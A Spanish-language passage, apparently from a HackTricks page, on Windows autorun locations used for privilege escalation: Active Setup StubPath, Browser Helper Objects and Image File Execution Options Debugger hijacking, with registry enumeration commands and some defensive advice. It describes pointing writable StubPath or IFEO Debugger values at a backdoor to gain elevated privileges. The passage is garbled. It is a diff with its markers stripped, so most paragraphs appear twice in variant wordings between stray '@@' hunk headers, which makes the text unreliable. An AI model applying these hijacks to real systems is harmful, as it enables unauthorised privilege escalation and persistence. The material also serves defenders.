Active Setup se ejecuta antes de que aparezca el escritorio. Los comandos iniciados por Active Setup se ejecutan de forma sincrónica, bloqueando el inicio de sesión mientras se están ejecutando. Active Setup se ejecuta antes de que se evalúen las entradas de registro Run o RunOnce.
Active Setup se ejecuta antes de que aparezca el escritorio. Los comandos iniciados por Active Setup se ejecutan de forma sincrónica, bloqueando el inicio de sesión mientras se ejecutan. Active Setup se ejecuta antes de evaluar cualquier entrada de registro Run o RunOnce.
Dentro de esas claves encontrarás más claves y cada una de ellas contendrá algunos valores clave interesantes. Los más interesantes son:
* **IsInstalled:**
* 0: El comando del componente no se ejecutará.
* 1: El comando del componente se ejecutará una vez por usuario. Este es el valor predeterminado (si el valor IsInstalled no existe).
* 0: El comando del componente no se ejecutará.
* 1: El comando del componente se ejecutará una vez por usuario. Este es el valor predeterminado (si el valor IsInstalled no existe).
* **StubPath**
* Formato: Cualquier línea de comando válida, por ejemplo, "notepad"
* Este es el comando que se ejecuta si Active Setup determina que este componente necesita ejecutarse durante el inicio de sesión.
* Formato: Cualquier línea de comando válida, por ejemplo, "notepad"
* Este es el comando que se ejecuta si Active Setup determina que este componente debe ejecutarse durante el inicio de sesión.
{% hint style="info" %}
Si pudieras escribir/sobrescribir cualquier clave con _**IsInstalled == "1"**_ y la clave **StubPath**, podrías apuntarla a una puerta trasera y escalar privilegios. Además, si pudieras sobrescribir cualquier **binario** apuntado por cualquier clave **StubPath**, podrías ser capaz de escalar privilegios.
Si pudieras escribir/sobrescribir cualquier clave con _**IsInstalled == "1"**_ y la clave **StubPath**, podrías apuntarla a una puerta trasera y elevar los privilegios. Además, si pudieras sobrescribir cualquier **binario** apuntado por cualquier clave **StubPath**, podrías ser capaz de elevar los privilegios.
{% endhint %}
```bash
reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
@ -266,9 +266,9 @@ reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components
* `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects`
* `HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects`
Un **Objeto de Ayuda del Navegador** (**BHO**) es un módulo DLL diseñado como un plugin para el navegador web Internet Explorer de Microsoft para proporcionar funcionalidad adicional. Estos módulos se ejecutan para cada nueva instancia de Internet Explorer y para cada nueva instancia de Windows Explorer. Sin embargo, se puede evitar que un BHO se ejecute en cada instancia de Explorer configurando la clave **NoExplorer** en 1.
Un **Objeto de Ayuda del Navegador** (**BHO**) es un módulo DLL diseñado como un complemento para el navegador web Internet Explorer de Microsoft para proporcionar funcionalidad adicional. Estos módulos se ejecutan para cada nueva instancia de Internet Explorer y para cada nueva instancia de Windows Explorer. Sin embargo, se puede evitar que un BHO se ejecute en cada instancia de Explorer configurando la clave **NoExplorer** en 1.
Los BHO aún son compatibles a partir de Windows 10, a través de Internet Explorer 11, mientras que los BHO no son compatibles en el navegador web predeterminado Microsoft Edge.
Los BHOs aún son compatibles en Windows 10, a través de Internet Explorer 11, mientras que los BHOs no son compatibles en el navegador web predeterminado Microsoft Edge.
```bash
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
@ -292,7 +292,7 @@ reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Font Dr
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers'
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers'
```
### Comando Abrir
### Comando de Apertura
* `HKLM\SOFTWARE\Classes\htmlfile\shell\open\command`
* `HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command`
@ -304,20 +304,28 @@ Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\she
```
### Opciones de Ejecución de Archivos de Imagen
Las Opciones de Ejecución de Archivos de Imagen (IFEO, por sus siglas en inglés) son una característica de Windows que permite a los desarrolladores depurar aplicaciones mediante la ejecución de un depurador automáticamente cuando se inicia una aplicación. Sin embargo, los atacantes pueden aprovechar esta característica para ejecutar su propio código malicioso en lugar del código legítimo de la aplicación.
Image File Execution Options (IFEO) es una característica de Windows que permite a los desarrolladores depurar aplicaciones. Sin embargo, los atacantes también pueden aprovechar esta funcionalidad para lograr una escalada de privilegios local.
Para hacer esto, los atacantes pueden agregar una clave de registro en `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options` con el nombre de la aplicación que desean atacar. Luego, pueden agregar un valor de cadena llamado `Debugger` y establecer su propio código malicioso como el valor de este.
Cuando se crea una clave de registro en `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options`, Windows ejecutará un binario especificado antes de ejecutar cualquier otro binario con el mismo nombre. Esto puede ser utilizado por los atacantes para reemplazar un binario legítimo con uno malicioso y obtener privilegios elevados.
Cuando se inicia la aplicación, Windows ejecutará el código malicioso en lugar del código legítimo de la aplicación. Esto puede permitir a los atacantes obtener privilegios elevados en el sistema y realizar acciones maliciosas.
Para lograr esto, el atacante debe crear una nueva clave en `Image File Execution Options` con el nombre del binario legítimo que desea reemplazar. Luego, debe agregar un valor de cadena llamado `Debugger` y establecerlo en la ruta del binario malicioso.
Para prevenir este tipo de ataque, se recomienda monitorear la clave de registro de IFEO en busca de entradas sospechosas y eliminarlas si se encuentran. También se puede restringir el acceso a la clave de registro de IFEO mediante la configuración de permisos adecuados.
Cuando se inicie el binario legítimo, Windows ejecutará el binario malicioso en su lugar, lo que permite al atacante ejecutar código con privilegios elevados.
Para evitar este tipo de escalada de privilegios, se recomienda realizar las siguientes acciones:
- Restringir el acceso a la clave de registro `Image File Execution Options` para evitar modificaciones no autorizadas.
- Monitorear los cambios en la clave de registro `Image File Execution Options` en busca de modificaciones sospechosas.
- Utilizar soluciones de seguridad que detecten y bloqueen este tipo de ataques.
Al comprender cómo los atacantes pueden aprovechar las opciones de ejecución de archivos de imagen, los administradores de sistemas pueden tomar medidas para proteger sus sistemas y prevenir la escalada de privilegios local.
```
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options
```
## SysInternals
Ten en cuenta que todos los sitios donde se pueden encontrar los autoruns ya han sido buscados por [winpeas.exe](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe). Sin embargo, para una lista más completa de archivos auto-ejecutados, puedes usar [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) de SysInternals:
Tenga en cuenta que todos los sitios donde puede encontrar autoruns ya han sido buscados por [winpeas.exe](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe). Sin embargo, para obtener una lista más completa de archivos autoejecutados, puede utilizar [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) de SysInternals:
```
autorunsc.exe -m -nobanner -a * -ct /accepteula
```
@ -331,9 +339,9 @@ Encuentra más Autoruns como registros en [https://www.microsoftpressstore.com/a
* [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/)
* [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)
<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y en hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - ¡**estamos contratando!** (_se requiere fluidez en polaco, tanto escrito como hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -344,7 +352,7 @@ Si estás interesado en una **carrera de hacking** y en hackear lo imposible -
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>